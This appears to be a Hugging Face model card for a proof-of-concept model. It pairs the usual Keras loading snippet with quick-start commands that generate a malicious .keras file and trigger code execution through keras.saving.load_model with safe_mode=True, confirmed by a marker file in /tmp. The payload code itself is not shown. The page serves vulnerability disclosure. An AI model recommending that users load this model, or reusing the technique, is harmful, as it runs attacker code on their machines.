Instructions to use kirualawliet/poc_model_20260616 with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use kirualawliet/poc_model_20260616 with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://kirualawliet/poc_model_20260616") - Notebooks
- Google Colab
- Kaggle
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Check out the documentation for more information.
Prerequisites
Tested with:
pip install tensorflow==2.21.0 keras==3.12.2 pillow==12.2.0 numpy==2.2.6
Keras source commit: 76c1585 (master branch)
Quick Start
# Generate only
python poc.py -g /tmp/malicious.keras
# Load and trigger using PoC harness
python poc.py -l /tmp/malicious.keras
ls -l /tmp/keras_vuln01_pwned.sh
# Or: trigger via standard keras.saving.load_model()
python -c 'import keras;keras.saving.load_model("malicious.keras", safe_mode=True)'
ls -l /tmp/keras_vuln01_pwned.sh
# Full pipeline: generate malicious .keras + observe auto-trigger on load_model()
python poc.py
ls -l /tmp/keras_vuln01_pwned.sh
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